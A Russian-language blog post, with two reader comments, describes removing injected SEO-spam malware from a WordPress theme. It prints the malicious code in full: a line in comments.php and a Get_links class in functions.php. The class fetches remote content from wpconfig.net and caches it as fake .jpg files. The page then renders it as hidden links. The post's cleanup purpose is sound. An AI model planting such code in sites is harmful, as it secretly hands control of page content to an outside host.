Убираем Вредоносный Код на WordPress Сайтах

Всем привет, зная, что периодически стоит проводить аудит любому сайту, я занялся очередным аудитом (можно это назвать ТО) одного из сайтов. Анализируя сайт утилитой Xenu, я наткнулся на некоторое количество мне неизвестных ссылок. Начал копать, анализировать код страниц на которых появились упомянутые ссылки. В исходнике страниц я нашел вот такой код

<div id=»posts»> <a href=»http://builderbody.org/»>Культуризм</a> .</div><noindex><style>#posts{position:absolute;left:-1960px;}</style></noindex>

После этого я методом исключения определил, что проблема в теме а не в плагинах. Это очень просто, достаточно переключить тему и проверить не пропала ли не нужная ссылка. Потом вернуть все в исходную позицию и проверить все ли вернулось на свои места. После я погнал по FTP стягивать всю тему и скать в коде фалов темы вредоностный код. Но хацкеры совершенствуются и пишут код лучше и чище, поэтмоу нахрапом проблему я решить не смог. Да и глаза чуток пожалел. И тут я примернил секретное оружие и загуглил проблему. Согласен я дал слабину и считерил, намного приятнее поймать хацкера за яйки прямо в коде, еще и понять через какую щель он всунунл свой петак. Короче говоря, google,как обычно не подвел и я напоролся на статью, которая мне многое прояснила.

В итоге в файле comments.php я удалил верхнюю строчку кода:

<?php $lib_path = dirname(__FILE__).’/’; require_once(‘functions.php’); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; ?>

И в файле functions.php убрал вот такой класс:

class Get_links {

var $host = ‘wpconfig.net’;
var $path = ‘/system.php’;
var $_cache_lifetime    = 21600;
var $_socket_timeout    = 5;

function get_remote() {
$req_url = ‘http://’.$_SERVER[‘HTTP_HOST’].urldecode($_SERVER[‘REQUEST_URI’]);
$_user_agent = «Mozilla/5.0 (compatible; Googlebot/2.1; «.$req_url.»)»;

$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;

@ini_set(‘allow_url_fopen’,          1);
@ini_set(‘default_socket_timeout’,   $_socket_timeout);
@ini_set(‘user_agent’, $_user_agent);

if (function_exists(‘file_get_contents’)) {
$opts = array(
‘http’=>array(
‘method’=>»GET»,
‘header’=>»Referer: {$req_url}\r\n».
«User-Agent: {$_user_agent}\r\n»
)
);
$context = stream_context_create($opts);

$data = @file_get_contents(‘http://’ . $host . $path, false, $context);
preg_match(‘/(\<\!—link—\>)(.*?)(\<\!—link—\>)/’, $data, $data);
$data = @$data[2];
return $data;
}
return ‘<!—link error—>’;
}

function return_links($lib_path) {
$links_class = new Get_links();
$file = ABSPATH.’wp-content/uploads/2013/’.md5($_SERVER[‘REQUEST_URI’]).’.jpg’;
$_cache_lifetime = $links_class->_cache_lifetime;

if (!file_exists($file))
{
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} else {
$data = file_get_contents($file);
return $data;
}
}
}

Таким образом я избавился от вредоносного кода. Обязательно рекомендую прочитать статью, ссылку на которую я давал выше.
Успехов!

6 ответов к «Убираем Вредоносный Код на WordPress Сайтах»

  1. Сначала убрал в comment. На страницах внизу появились html коментарии, когда убрал в function, то у меня перестали работать несколько страниц. Тогда просто убрал иp index. php эту надпись
    #posts{position:absolute;left:-1960px;} и валидатор убрал одну ошибку. Но не знаю будет ли этот вредоносный код работать. и еще не могу убрать Empty heading. Если можешь. помоги

  2. Здравствуйте, тоже столкнулся с такой проблемой, начала парсить сайт скриминг фрогом, показывает страницы, открываю смотрю код нету ссылок, смотрю в function.php какой то слишком подозрительный class удалил, пропали ссылки, загуглил попал на ваш блог нашел еще в comments.php кусок кода.

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *